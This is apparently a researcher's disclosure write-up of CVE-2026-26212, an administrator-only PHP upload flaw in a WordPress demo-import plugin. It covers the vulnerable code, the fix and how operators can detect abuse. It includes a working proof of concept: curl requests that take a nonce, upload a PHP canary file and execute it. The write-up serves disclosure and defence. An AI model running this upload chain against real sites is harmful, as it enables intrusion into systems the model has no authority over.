September 9, 2026
Anatomy of an Admin-Only RCE: CVE-2026-26212
A WordPress plugin with 20,000 installs disabled the framework’s own file-type validation. The interesting question wasn’t how it worked…

By Rinesa Krasniqi
9 min read
A WordPress plugin with 20,000 installs disabled the framework's own file-type validation. The interesting question wasn't how it worked, it was whether it counted.
RARA One Click Demo Import does something unremarkable. It takes an XML export of a demo site and imports it in one click, so a customer who buys a theme ends up with something that looks like the screenshots.
To do that, it accepts uploaded files. And when it accepted them, it told WordPress not to check what they were.
That single configuration choice, present since version 1.0.0, shipped in every release for years, allowed any administrator to write a .php file into a web-accessible directory and execute it. It is now CVE-2026-26212, fixed in 1.3.5.
The mechanism is about as simple as a vulnerability gets. What made it worth writing up is everything that had to be established around the mechanism before it counted as a finding at all.
CVE CVE-2026-26212
Affected RARA One Click Demo Import < 1.3.5 (~20,000 installs)
Fixed in 1.3.5
Weakness CWE-434 - Unrestricted Upload of File with Dangerous Type
Severity CVSS v3.1 7.2 High CVSS v4.0 8.6 High
CNA VulnCheckCVE CVE-2026-26212
Affected RARA One Click Demo Import < 1.3.5 (~20,000 installs)
Fixed in 1.3.5
Weakness CWE-434 - Unrestricted Upload of File with Dangerous Type
Severity CVSS v3.1 7.2 High CVSS v4.0 8.6 High
CNA VulnCheckThe defect
WordPress provides a correct way to accept an uploaded file. wp_handle_upload() passes it through wp_check_filetype_and_ext(), which validates the extension against the site's permitted MIME map and cross-checks the declared type against the file's actual contents. It is the right primitive, it is well tested, and it is one function call.
It also accepts an argument that turns the validation off.
includes/class-rrdi-helpers.php, lines 496–504:
// Upload settings to disable form and type testing for AJAX uploads.
$upload_overrides = array(
'test_form' => false,
'test_type' => false, // disables wp_check_filetype_and_ext()
);
$content_file_info = wp_handle_upload( $_FILES['content_file'], $upload_overrides );
$widget_file_info = wp_handle_upload( $_FILES['widget_file'], $upload_overrides );
$customizer_file_info = wp_handle_upload( $_FILES['customizer_file'], $upload_overrides );// Upload settings to disable form and type testing for AJAX uploads.
$upload_overrides = array(
'test_form' => false,
'test_type' => false, // disables wp_check_filetype_and_ext()
);
$content_file_info = wp_handle_upload( $_FILES['content_file'], $upload_overrides );
$widget_file_info = wp_handle_upload( $_FILES['widget_file'], $upload_overrides );
$customizer_file_info = wp_handle_upload( $_FILES['customizer_file'], $upload_overrides );Three request-controlled files, validation disabled, written to disk.
The comment above the array is worth reading closely, because it is entirely accurate. It describes what the code does. It does not attempt to justify why that is safe, and I suspect nobody ever asked, because the flag reads as a configuration detail rather than a security decision. That is precisely what makes this pattern durable.
The request passes every control the plugin implements. One flag removes the only validation that would have rejected the file.
Three questions
Finding a disabled safety check is not the same as finding a vulnerability. A grep for test_type.*=>.*false across a corpus of plugins returns a lot of hits, and most of them go nowhere. Three questions decide it, and they have to be answered in order.
1. Is the sink actually reachable?
The endpoint is registered at includes/class-rrdi-main.php:80:
add_action( 'wp_ajax_rrdi_import_demo_data', array( $this, 'rrdi_import_demo_data_ajax_callback' ) );add_action( 'wp_ajax_rrdi_import_demo_data', array( $this, 'rrdi_import_demo_data_ajax_callback' ) );Note what is not there: no wp_ajax_nopriv_ variant. This is not an unauthenticated bug, and the report never claimed it was. The endpoint enforces a nonce and a capability check for import, which on single-site WordPress is administrator-only. Both controls work correctly.
But there is a detail in the registration that matters. It sits outside the is_valid_theme_author() guard applied a few lines above it. That guard governs whether the plugin's settings screen renders, not whether the handler exists. On a site running the plugin with a non-Rara theme, the admin interface is absent and the endpoint is live.
Reachable, then, on every install with the plugin active, whether or not anyone can see it.
2. Does anything downstream mitigate it?
Plugins sometimes disable core validation because they implement their own. So the next step is to trace forward and look for the compensating control.
sanitize_file_name() preserves a single .php extension. The plugin performs no extension, MIME, or content inspection of its own.
There is an XML-format check immediately after, at lines 506–514. It is not a mitigation, for two independent reasons. It evaluates only whether the upload failed, which a successful .php upload does not. And it runs after wp_handle_upload() has already committed the file to disk, so even if it rejected the content, the write has happened.
Nothing downstream mitigates it.
3. Does it cross a privilege boundary?
This is the question that decides whether the report is worth writing, and it is the one most findings of this shape fail.
The objection arrives immediately, and it is a good one: an administrator can already install a plugin containing arbitrary PHP. No boundary is crossed. This is a feature working as designed.
On a default WordPress installation, that objection is correct. I want to state that plainly, because a report that waves it away deserves to be closed. Plenty of "admin+ RCE" submissions are genuinely noise.
It stops being correct on hardened hosting.
DISALLOW_FILE_MODS is the WordPress constant by which managed hosts and multisite operators withdraw code-execution capability from administrators while leaving content administration intact. It is the mechanism that distinguishes an administrator of a site from an administrator of a server, and a large share of commercially hosted WordPress runs under it.
So rather than argue the point, I enabled the constant and measured the resulting capability state directly:
install_plugins => denied
edit_plugins => denied
install_themes => denied
edit_themes => denied
update_plugins => denied
upload_files => ALLOWED
import => ALLOWEDinstall_plugins => denied
edit_plugins => denied
install_themes => denied
edit_themes => denied
update_plugins => denied
upload_files => ALLOWED
import => ALLOWEDFive documented routes to code execution, all closed. The host policy is holding exactly as intended.
Then I re-ran the proof of concept against that same installation:
RRDI_HARDENED_5c1d8b|exec_under_DISALLOW_FILE_MODS|uid=33RRDI_HARDENED_5c1d8b|exec_under_DISALLOW_FILE_MODS|uid=33The plugin is not restating power the administrator already holds. It is returning a capability that WordPress is deliberately withholding, and the distinction is measurable rather than rhetorical. That is what makes the finding scoreable at PR:H and still a genuine privilege escalation in the environments where it matters.
There was precedent as well. CVE-2022-1008 was assigned for the identical test_type misuse in the upstream One Click Demo Import plugin, characterised by NVD as permitting "high privilege users such as admin to upload arbitrary files (such as PHP)." The defect class at this privilege level already had an established disposition. This was a fork in which the same defect had neither been reported nor corrected.
When a finding depends on an argument, the argument is the weakest part of the report. Replace it with a measurement. "I enabled the hardening constant and it still executed" settles a discussion that "but consider that some hosts…" never will.
Demonstrating it
All testing ran in an isolated lab on hardware I own: WordPress 7.1, PHP 8.5.4, Apache 2.4.66 with mod_php, MariaDB 11.8.6. The plugin was pinned to 1.3.4 and hash-verified against the wordpress.org release.
The nonce came from the plugin's own admin interface, where it is localised as rrdi.ajax_nonce:
NONCE=$(curl -s -b cookies.txt \
"http://localhost:8888/wp-admin/themes.php?page=rara-demo-import" \
| grep -oE '"ajax_nonce":"[a-zA-Z0-9]+"' | head -1 | cut -d'"' -f4)NONCE=$(curl -s -b cookies.txt \
"http://localhost:8888/wp-admin/themes.php?page=rara-demo-import" \
| grep -oE '"ajax_nonce":"[a-zA-Z0-9]+"' | head -1 | cut -d'"' -f4)This is the legitimate token. The CSRF protection added in 1.3.0 for CVE-2022-29451 is present and functioning throughout; this issue is reached through it, not around it. Conflating the two would have invalidated the report.
The payload was a canary rather than a webshell: it demonstratesexecution just as conclusively and leaves nothing usable on disk:
<?php echo "RRDI_CANARY_9f4b7ae21c"; echo "|php=" . PHP_VERSION; echo "|uid=" . posix_geteuid(); echo "|OK"; ?><?php echo "RRDI_CANARY_9f4b7ae21c"; echo "|php=" . PHP_VERSION; echo "|uid=" . posix_geteuid(); echo "|OK"; ?>Submitted as the content_file parameter:
curl -b cookies.txt \
-F "action=rrdi_import_demo_data" \
-F "security=$NONCE" \
-F "selected=0" \
-F "content_file=@canary.php;type=text/xml" \
-F "widget_file=@dummy.xml;type=text/xml" \
-F "customizer_file=@dummy.xml;type=text/xml" \
http://localhost:8888/wp-admin/admin-ajax.phpcurl -b cookies.txt \
-F "action=rrdi_import_demo_data" \
-F "security=$NONCE" \
-F "selected=0" \
-F "content_file=@canary.php;type=text/xml" \
-F "widget_file=@dummy.xml;type=text/xml" \
-F "customizer_file=@dummy.xml;type=text/xml" \
http://localhost:8888/wp-admin/admin-ajax.phpAnd retrieved:
$ curl http://localhost:8888/wp-content/uploads/2026/09/canary.php
RRDI_CANARY_9f4b7ae21c|php=8.5.4|uid=33|OK$ curl http://localhost:8888/wp-content/uploads/2026/09/canary.php
RRDI_CANARY_9f4b7ae21c|php=8.5.4|uid=33|OK42 bytes returned against 112 on disk, Content-Type: text/html, executing as uid 33 (www-data). The source was interpreted, not served.
The negative cases
A demonstration establishes that something works. The negative cases establish which control failed, which is what a maintainer actually needs in order to fix it.
- Subscriber, using an administrator nonce — HTTP 403, blocked
- Contributor, using an administrator nonce — HTTP 403, blocked
- Administrator, security parameter omitted — HTTP 403, no file written
- Administrator, invalid security parameter — HTTP 403, no file written
- Administrator, valid nonce — HTTP 200, file written and executed
- wp_check_filetype_and_ext on canary.php — ext false, type false: core would have rejected it
Every other control in the chain held. Only the file-type check was missing, because it had been switched off.
Why it lasted so long
A defect this simple, in a plugin this widely installed, surviving from 1.0.0 to 1.3.4, deserves an explanation. Three properties kept it invisible.
The endpoint reports failure on success. Submitting a .php file returns:
"Widget import data could not be read. Please try a different file.""Widget import data could not be read. Please try a different file."The import genuinely does fail, at XML parsing, long after the file has been written. Anyone who tested this endpoint casually, saw an error, and moved on would have concluded it was rejecting bad input. It was not. It was accepting the file and then failing to parse it, which looks identical from outside and is the opposite thing.
The interface was hidden, so the surface looked smaller than it was. Because the settings screen only rendered under Rara themes, a reviewer looking at a site running a different theme would see no importer at all. Gating the UI and gating the handler are separate operations, and here they diverged inside the same file.
The dangerous line looks like configuration. 'test_type' => false sits in an array of upload options next to 'test_form' => false, which is genuinely routine for AJAX handlers. One of those two flags is a minor convenience. The other disables file-type validation for the entire request. They are visually indistinguishable.
The fix, and how it was verified
Version 1.3.5 restores validation and constrains it:
$upload_overrides = array(
'test_form' => false,
- 'test_type' => false,
+ 'test_type' => true,
+ 'mimes' => array(
+ 'xml' => 'text/xml',
+ 'wxr' => 'text/xml',
+ 'json' => 'application/json',
+ 'wie' => 'application/octet-stream',
+ 'dat' => 'application/octet-stream',
+ ),
);$upload_overrides = array(
'test_form' => false,
- 'test_type' => false,
+ 'test_type' => true,
+ 'mimes' => array(
+ 'xml' => 'text/xml',
+ 'wxr' => 'text/xml',
+ 'json' => 'application/json',
+ 'wie' => 'application/octet-stream',
+ 'dat' => 'application/octet-stream',
+ ),
);This is the correct shape of fix, and it is worth saying so. It addresses the root cause rather than filtering symptoms: test_type => true reinstates core's check, and the mimes allowlist narrows acceptance to the five formats the importer legitimately handles. Where a plugin genuinely needs an unusual format, this — not disabling validation — is the supported mechanism.
A full diff of the 1.3.4 and 1.3.5 archives confirmed no other security-relevant change.
I replayed the original proof of concept against the patched build, then tried three bypasses: a double extension (canary.php.xml), a .phar, and an uppercase .PHP. All four rejected. Nothing written to uploads/ at all.
At that point I had four clean negative results and was ready to confirm the fix. That would have been a mistake.
A broken test produces the same output as a working patch. An expired session, a nonce that failed to harvest, a mistyped parameter, a plugin that silently didn't activate — every one of those failure modes is indistinguishable from "the vulnerability is fixed." Four rejections are not evidence unless the instrument that produced them can be shown to still register a positive.
So I downgraded to 1.3.4 in the same environment, in the same session, and issued the identical request:
written : wp-content/uploads/2026/09/canary.php
fetched : http://localhost:8888/wp-content/uploads/2026/09/canary.php
output : RRDI_CANARY_9f4b7ae21c|php=8.5.4|uid=33|OKwritten : wp-content/uploads/2026/09/canary.php
fetched : http://localhost:8888/wp-content/uploads/2026/09/canary.php
output : RRDI_CANARY_9f4b7ae21c|php=8.5.4|uid=33|OKThe exploit succeeded. Only then did the four rejections mean anything.
This is a positive control, and in patch verification it is not optional. Without one, a researcher's confirmation is an assumption wearing the costume of a test — and the failure mode is telling a vendor their bug is fixed when it isn't.
For site operators
Update to 1.3.5. Then, separately, check whether you were already exploited because the patch does not clean up after anyone who arrived first.
Two properties make that check necessary rather than paranoid. The uploaded file creates no row in wp_posts, so it never appears in the Media library and is invisible to tooling that enumerates attachments. And it persists after the plugin is deactivated or deleted, because nothing in the plugin's lifecycle owns it.
find wp-content/uploads -type f \( -name '*.php' -o -name '*.phar' -o -name '*.phtml' \)find wp-content/uploads -type f \( -name '*.php' -o -name '*.phar' -o -name '*.phtml' \)Also worth reviewing: access-log entries requesting a .php file directly under wp-content/uploads/, and admin-ajax.php requests carrying action=rrdi_import_demo_data that do not correspond to a demo import your team actually performed.
Independently of this plugin, denying PHP execution inside the uploads directory neutralises this entire vulnerability class. It costs one directive and it is among the highest-value hardening measures available to a WordPress operator.
Timeline
- 26 August 2026 — Defect identified; lab built; proof of concept confirmed against 1.3.4.
- 26 August 2026 — Reported to VulnCheck for coordinated disclosure.
- Early September 2026 — Vendor engaged; pre-release build supplied for verification.
- 7 September 2026 — Fix verified with positive control; no bypass identified.
- 9 September 2026 — Version 1.3.5 released; CVE-2026-26212 published.
Two weeks end to end, with a maintainer who engaged directly and shipped a fix addressing the underlying defect. That is worth recording, because responsive vendors rarely get written about.
Closing
The grep that surfaced this was one line. Everything that turned it into a CVE came afterward: establishing that the sink was genuinely reachable, ruling out compensating controls by reading forward rather than assuming, replacing an argument about privilege boundaries with a measurement, and refusing to accept a negative verification result without proving the test could still fail.
None of that is difficult. It is mostly the discipline of not stopping at the first plausible conclusion which, in this case, is exactly what the endpoint's own error message invited everyone to do for several years.
Credits. Coordination and CVE assignment by VulnCheck. Thanks to Rara Themes for engaging promptly and fixing the root cause.
References
- CVE-2026-26212 : VulnCheck advisory
- CWE-434 : Unrestricted Upload of File with Dangerous Type
- CVSS v3.1
AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H· v4.0AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N - Plugin listing on wordpress.org
- CVE-2022-1008 : the same
test_typedefect upstream, in One Click Demo Import < 3.1.0 - CVE-2022-29451 : CSRF in this plugin, fixed in 1.3.0; intact, and distinct from this issue
All testing was performed against an isolated lab on hardware I own. Payloads were benign canaries; all artifacts were removed after verification.
Rinesa Krasniqi